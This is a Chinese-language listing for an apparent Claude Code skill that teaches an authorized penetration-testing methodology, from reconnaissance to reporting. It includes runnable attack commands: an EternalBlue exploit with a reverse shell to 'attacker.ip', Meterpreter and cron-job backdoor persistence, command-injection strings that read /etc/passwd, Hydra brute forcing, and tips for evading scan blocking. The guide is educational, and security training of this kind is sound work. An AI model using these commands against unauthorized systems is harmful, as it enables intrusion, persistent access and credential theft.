关于 ethical-hacking-methodology
这是一项面向授权渗透测试的方法技能,涵盖信息收集、扫描、漏洞分析、利用和报告。内容也说明了伦理与法律要求,并以 Kali Linux 和安全工具作为指定环境。
主要功能
- 01渗透测试生命周期指导
- 02信息收集与目标扫描
- 03漏洞分析与利用
- 04证据整理及报告结构
- 05授权与行为规范要求
适用场景
- 01组织授权安全评估
- 02记录发现与利用证据
- 03编写技术及管理层报告
- 04规划测试范围与法律保障
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ zebbern/ claude-code-guide --skill ethical-hacking-methodology安装后在 Claude Code 中输入/ethical-hacking-methodology确认已加载。
详细介绍
道德黑客方法论
目的
掌握从侦察到报告的完整渗透测试生命周期。本技能涵盖道德黑客方法论的五个阶段、必备工具、攻击技术,以及针对授权安全评估的专业报告编写。
前置条件
必需环境
- 已安装 Kali Linux(持久安装或 Live 环境)
- 可访问授权目标的网络
- 系统所有者提供的书面授权
必备知识
- 基本网络概念
- 熟练使用 Linux 命令行
- 了解 Web 技术
- 熟悉安全概念
输出与交付成果
- 侦察报告 - 收集到的目标信息
- 漏洞评估 - 发现的弱点
- 利用证据 - 概念验证攻击
- 最终报告 - 管理层与技术层面的发现
核心工作流
阶段 1:了解黑客类型
安全专业人员的分类:
白帽黑客(道德黑客)
- 获得授权的安全专业人员
- 经许可开展渗透测试
- 目标:发现并修复漏洞
- 也称为:渗透测试人员、安全顾问
黑帽黑客(恶意黑客)
- 未经授权入侵系统
- 动机可能是牟利、报复或扬名
- 目标:窃取数据、造成破坏
- 也称为:骇客、犯罪黑客
灰帽黑客(混合型)
- 可能逾越道德界限
- 并无恶意,但可能违反规则
- 经常公开披露漏洞
- 动机复杂
其他分类
- 脚本小子:使用现成工具,但并不了解其原理
- 黑客行动主义者:受政治或社会因素驱动
- 国家级黑客:由政府资助的行动人员
- 编码人员:开发工具和漏洞利用程序
阶段 2:侦察
在不直接与系统交互的情况下收集信息:
被动侦察
# WHOIS lookup
whois target.com
# DNS enumeration
nslookup target.com
dig target.com ANY
dig target.com MX
dig target.com NS
# Subdomain discovery
dnsrecon -d target.com
# Email harvesting
theHarvester -d target.com -b all
Google 搜索黑客技术(OSINT)
# Find exposed files
site:target.com filetype:pdf
site:target.com filetype:xls
site:target.com filetype:doc
# Find login pages
site:target.com inurl:login
site:target.com inurl:admin
# Find directory listings
site:target.com intitle:"index of"
# Find configuration files
site:target.com filetype:config
site:target.com filetype:env
Google 黑客数据库类别:
- 包含密码的文件
- 敏感目录
- Web 服务器检测
- 存在漏洞的服务器
- 错误消息
- 登录入口
社交媒体侦察
- LinkedIn:组织架构、所用技术
- Twitter:公司公告、员工信息
- Facebook:个人信息、人际关系
- 招聘信息:揭示技术栈
阶段 3:扫描
主动枚举目标系统:
主机发现
# Ping sweep
nmap -sn 192.168.1.0/24
# ARP scan (local network)
arp-scan -l
# Discover live hosts
nmap -sP 192.168.1.0/24
端口扫描
# TCP SYN scan (stealth)
nmap -sS target.com
# Full TCP connect scan
nmap -sT target.com
# UDP scan
nmap -sU target.com
# All ports scan
nmap -p- target.com
# Top 1000 ports with service detection
nmap -sV target.com
# Aggressive scan (OS, version, scripts)
nmap -A target.com
服务枚举
# Specific service scripts
nmap --script=http-enum target.com
nmap --script=smb-enum-shares target.com
nmap --script=ftp-anon target.com
# Vulnerability scanning
nmap --script=vuln target.com
常见端口参考
| 端口 | 服务 | 备注 |
|---|---|---|
| 21 | FTP | 文件传输 |
| 22 | SSH | 安全 Shell |
| 23 | Telnet | 未加密的远程连接 |
| 25 | SMTP | 电子邮件 |
| 53 | DNS | 名称解析 |
| 80 | HTTP | Web |
| 443 | HTTPS | 安全 Web |
| 445 | SMB | Windows 共享 |
| 3306 | MySQL | 数据库 |
| 3389 | RDP | 远程桌面 |
阶段 4:漏洞分析
识别可利用的弱点:
自动化扫描
# Nikto web scanner
nikto -h http://target.com
# OpenVAS (command line)
omp -u admin -w password --xml="<get_tasks/>"
# Nessus (via API)
nessuscli scan --target target.com
Web 应用测试(OWASP)
- SQL 注入
- 跨站脚本(XSS)
- 身份验证机制失效
- 安全配置错误
- 敏感数据泄露
- XML 外部实体(XXE)
- 访问控制失效
- 不安全的反序列化
- 使用存在已知漏洞的组件
- 日志记录与监控不足
手动技术
# Directory brute forcing
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
# Subdomain enumeration
gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt
# Web technology fingerprinting
whatweb target.com
阶段 5:漏洞利用
主动利用已发现的漏洞:
Metasploit 框架
# Start Metasploit
msfconsole
# Search for exploits
msf> search type:exploit name:smb
# Use specific exploit
msf> use exploit/windows/smb/ms17_010_eternalblue
# Set target
msf> set RHOSTS target.com
# Set payload
msf> set PAYLOAD windows/meterpreter/reverse_tcp
msf> set LHOST attacker.ip
# Execute
msf> exploit
密码攻击
# Hydra brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target.com
hydra -L users.txt -P passwords.txt ftp://target.com
# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Web 漏洞利用
# SQLMap for SQL injection
sqlmap -u "http://target.com/page.php?id=1" --dbs
sqlmap -u "http://target.com/page.php?id=1" -D database --tables
# XSS testing
# Manual: <script>alert('XSS')</script>
# Command injection testing
# ; ls -la
# | cat /etc/passwd
阶段 6:维持访问
建立持久访问:
后门
# Meterpreter persistence
meterpreter> run persistence -X -i 30 -p 4444 -r attacker.ip
# SSH key persistence
# Add attacker's public key to ~/.ssh/authorized_keys
# Cron job persistence
echo "* * * * * /tmp/backdoor.sh" >> /etc/crontab
权限提升
# Linux enumeration
linpeas.sh
linux-exploit-suggester.sh
# Windows enumeration
winpeas.exe
windows-exploit-suggester.py
# Check SUID binaries (Linux)
find / -perm -4000 2>/dev/null
# Check sudo permissions
sudo -l
清除痕迹(道德黑客场景)
- 记录所有已执行的操作
- 保留日志以供报告
- 避免不必要的系统更改
- 清理测试文件和后门
阶段 7:报告
以专业方式记录发现:
报告结构
-
执行摘要
- 高层级发现
- 业务影响
- 风险评级
- 修复优先级
-
技术发现
- 漏洞详情
- 概念验证
- 屏幕截图/证据
- 受影响的系统
-
风险评级
- 严重:需要立即采取行动
- 高:在 24-48 小时内处理
- 中:在 1 周内处理
- 低:在 1 个月内处理
- 信息性:最佳实践建议
-
修复建议
- 针对每项发现的具体修复措施
- 短期缓解措施
- 长期解决方案
- 资源需求
-
附录
- 详细的扫描输出
- 工具配置
- 测试时间线
- 范围和方法
阶段 8:常见攻击类型
网络钓鱼
- 基于电子邮件的凭据窃取
- 虚假登录页面
- 恶意附件
- 社会工程学环节
恶意软件类型
- 病毒:可自我复制,需要宿主文件
- 蠕虫:可在网络中自行传播
- 木马:伪装成合法软件
- 勒索软件:加密文件以勒索赎金
- Rootkit:隐藏的系统级访问权限
- 间谍软件:监控用户活动
网络攻击
- 中间人攻击(MITM)
- ARP 欺骗
- DNS 投毒
- DDoS(分布式拒绝服务)
阶段 9:Kali Linux 设置
安装渗透测试平台:
硬盘安装
- 从 kali.org 下载 ISO
- 从安装介质启动
- 选择“Graphical Install”
- 配置语言、位置和键盘
- 设置主机名和 root 密码
- 对磁盘分区(引导式 - 使用整个磁盘)
- 安装 GRUB 引导加载程序
- 重启并登录
Live USB(持久化)
# Create bootable USB
dd if=kali-linux.iso of=/dev/sdb bs=512k status=progress
# Create persistence partition
gparted /dev/sdb
# Add ext4 partition labeled "persistence"
# Configure persistence
mkdir /mnt/usb
mount /dev/sdb2 /mnt/usb
echo "/ union" > /mnt/usb/persistence.conf
umount /mnt/usb
阶段 10:道德准则
法律要求
- 获取书面授权
- 明确界定范围
- 记录所有测试活动
- 向客户报告所有发现
- 保守机密
专业操守
- 秉持诚信,以合乎道德的方式开展工作
- 尊重所访问数据的隐私
- 避免对系统造成不必要的损害
- 仅执行计划内的测试
- 绝不将发现用于个人利益
快速参考
渗透测试生命周期
| 阶段 | 目的 | 主要工具 |
|---|---|---|
| 侦察 | 收集信息 | theHarvester、WHOIS、Google |
| 扫描 | 枚举目标 | Nmap、Nikto、Gobuster |
| 利用 | 获取访问权限 | Metasploit、SQLMap、Hydra |
| 维持访问权限 | 持久化 | Meterpreter、SSH 密钥 |
| 报告 | 记录发现 | 报告模板 |
基本命令
| 命令 | 目的 |
|---|---|
nmap -sV target | 端口和服务扫描 |
nikto -h target | Web 漏洞扫描 |
msfconsole | 启动 Metasploit |
hydra -l user -P list ssh://target | SSH 暴力破解 |
sqlmap -u "url?id=1" --dbs | SQL 注入 |
限制和局限性
需要授权
- 未经书面许可,绝不进行测试
- 严格遵守既定范围
- 报告未经授权的访问尝试
专业标准
- 遵守交战规则
- 对客户信息保密
- 记录所用方法
- 提供可执行的建议
故障排除
扫描被拦截
解决方案:
- 降低扫描速率
- 尝试不同的扫描技术
- 使用代理或 VPN
- 对数据包进行分片
漏洞利用失败
解决方案:
- 确认目标存在漏洞
- 检查载荷兼容性
- 调整漏洞利用参数
- 尝试其他漏洞利用方式
评论
支持 Markdown